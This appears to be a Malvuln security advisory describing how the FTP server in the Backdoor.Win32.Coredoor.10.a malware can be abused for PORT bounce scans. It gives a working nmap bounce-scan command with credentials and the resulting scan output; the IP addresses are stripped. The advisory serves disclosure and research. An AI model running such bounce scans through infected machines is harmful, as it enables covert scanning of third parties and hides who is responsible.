Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Coredoor.10.a  
Vulnerability: Port Bounce Scan  
Description: The malware listens on TCP port 21000. Third-party attackers who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.  
Type: PE32  
MD5: 4d10cd3fa86239ade05d2b741892b1e5  
Vuln ID: MVID-2021-0411  
Dropped files: CFS.exe  
Disclosure: 11/25/2021  
nmap -n -Pn -b malvuln:malvuln@ -p21,22,80 -v  
Starting Nmap 7.80 ( ) at 2021-11-24 22:18 Pacific Standard Time  
Resolved FTP bounce attack proxy to (  
Attempting connection to ftp://malvuln:malvuln@  
Connected:220 c400s FTP Server read...  
Login credentials accepted by FTP server!  
Initiating Bounce Scan at 22:18  
Discovered open port 80/tcp on  
Completed Bounce Scan at 22:18, 2.16s elapsed (3 total ports)  
Nmap scan report for  
Host is up.  
21/tcp closed ftp  
22/tcp closed ssh  
80/tcp open http  
Read data files from: C:\Program Files (x86)\Nmap  
Nmap done: 1 IP address (1 host up) scanned in 11.30 seconds  
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